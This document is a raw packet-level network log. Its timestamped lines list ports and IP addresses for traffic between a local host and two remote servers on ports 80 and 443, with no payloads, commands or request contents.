Aug 30, 2024 06:17:04.893982887 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.893984079 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.893997908 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.893999100 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.894009113 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.894016981 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.894018888 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.894030094 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.894062996 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.894062996 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.894062996 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.894088030 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.894098997 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.894107103 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.894115925 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.894124985 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.894128084 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.894140959 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.894161940 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.894304037 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.894314051 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.894321918 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.894330978 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.894340038 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.894349098 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.894349098 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.894364119 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.894386053 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.894828081 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.894844055 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.894891024 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.894896984 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.894906044 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.894999981 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.895010948 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.895020008 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.895028114 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.895032883 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.895045042 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.895056009 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.895073891 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.895108938 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.895118952 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.895128012 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.895137072 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.895145893 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.895148039 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.895157099 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.895157099 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.895167112 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.895178080 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.895179987 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.895188093 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.895195007 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.895199060 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.895205975 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.895222902 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.895227909 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.895231962 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.895239115 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.895247936 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.895258904 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.895263910 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.895277023 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.895294905 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.895412922 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.895422935 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.895431042 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.895441055 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.895442963 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.895451069 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.895461082 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.895468950 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.895481110 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.895495892 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.895756960 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.895766973 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.895776033 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.895786047 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.895807981 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.895822048 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.895893097 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.895904064 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.895912886 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.895958900 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.896204948 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.896342993 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.896353006 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.896362066 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.896409988 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.896409988 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.896492004 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.896501064 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.896511078 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.896519899 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.896528959 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.896528959 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.896565914 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.896565914 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.928544044 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.928684950 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.928694963 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.928704023 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.928714037 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.928723097 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.928759098 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.928775072 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.928833961 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.928843975 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.928853035 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.928863049 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.928874016 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.928886890 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.928886890 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.928916931 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.928968906 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.929126024 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.929136038 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.929145098 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.929156065 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.929163933 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.929172993 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.929181099 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.929182053 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.929182053 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.929191113 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.929199934 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.929225922 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.929225922 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.929240942 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.929250002 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.929261923 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.929269075 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.929286003 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.929297924 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.929308891 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.929451942 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.929461956 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.929471016 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.929500103 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.929500103 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.929593086 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.929604053 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.929613113 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.929621935 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.929630995 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.929641008 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.929650068 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.929651022 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.929651022 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.929658890 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.929668903 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.929689884 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.929743052 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.929754972 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.929800987 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.929800987 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.929891109 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.929899931 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.929908991 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.929918051 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.929928064 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.929936886 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.929945946 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.929945946 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.929989100 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.930026054 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.930036068 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.930043936 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.930056095 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.930057049 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.930064917 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.930075884 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.930079937 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.930083990 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.930094957 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.930108070 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.930108070 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.930135012 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.930360079 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.930370092 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.930382013 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.930416107 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.930416107 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.930484056 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.930494070 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.930502892 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.930521965 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.930565119 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.930672884 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.930685043 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.930691957 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.930701017 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.930710077 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.930718899 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.930727959 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.930727959 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.930737972 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.930746078 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.930757046 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.930757999 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.930757999 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.930764914 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.930775881 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.930783033 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.930802107 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.930808067 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.930819035 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.930839062 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.930839062 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.931005001 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.931015015 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.931024075 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.931066036 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.931066036 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.931164980 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.931175947 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.931184053 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.931194067 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.931201935 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.931216002 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.931219101 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.931227922 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.931237936 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.931241989 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.931241989 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.931268930 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.931291103 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.931299925 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.931309938 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.931318998 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.931328058 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.931337118 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.931348085 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.931348085 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.931349993 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.931371927 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.931382895 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.931446075 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.931456089 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.931459904 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.931468010 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.931493998 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.931507111 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.931770086 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.931777954 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.931828976 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.931937933 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.931951046 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.931960106 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.931973934 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.931979895 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.931983948 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.931994915 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.932007074 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.932032108 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.932032108 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.932127953 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.932138920 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.932145119 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.932153940 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.932163954 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.932173014 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.932183027 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.932188034 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.932188034 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.932214975 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.932214975 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.932260036 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.935409069 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.977418900 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.977437019 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.977519035 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.977530003 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.977567911 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.977811098 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.977824926 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.977874994 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.977881908 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.977924109 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.978188992 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.978205919 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.978236914 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.978244066 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.978257895 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.978282928 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.978465080 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.978478909 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.978512049 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.978518009 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.978532076 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.978552103 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.978771925 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.978786945 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.978822947 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.978831053 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.978838921 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.979172945 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.979192019 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.979223013 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.979229927 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.979240894 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.979289055 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.979485035 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.979499102 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.979549885 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.979557037 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.979590893 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.979890108 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.979904890 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.979942083 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.979948997 CEST	443	49741	162.159.130.233	192.168.2.4
Aug 30, 2024 06:17:04.979959965 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.979985952 CEST	49741	443	192.168.2.4	162.159.130.233
Aug 30, 2024 06:17:04.981663942 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.981676102 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.981686115 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.981692076 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.981714010 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.981724977 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.981734037 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.981736898 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.981749058 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.981750011 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.981759071 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.981765985 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.981775045 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.981785059 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.981785059 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.981801987 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.981812000 CEST	80	49735	147.45.44.104	192.168.2.4
Aug 30, 2024 06:17:04.981816053 CEST	49735	80	192.168.2.4	147.45.44.104
Aug 30, 2024 06:17:04.981834888 CEST	49735	80	192.168.2.4	147.45.44.104
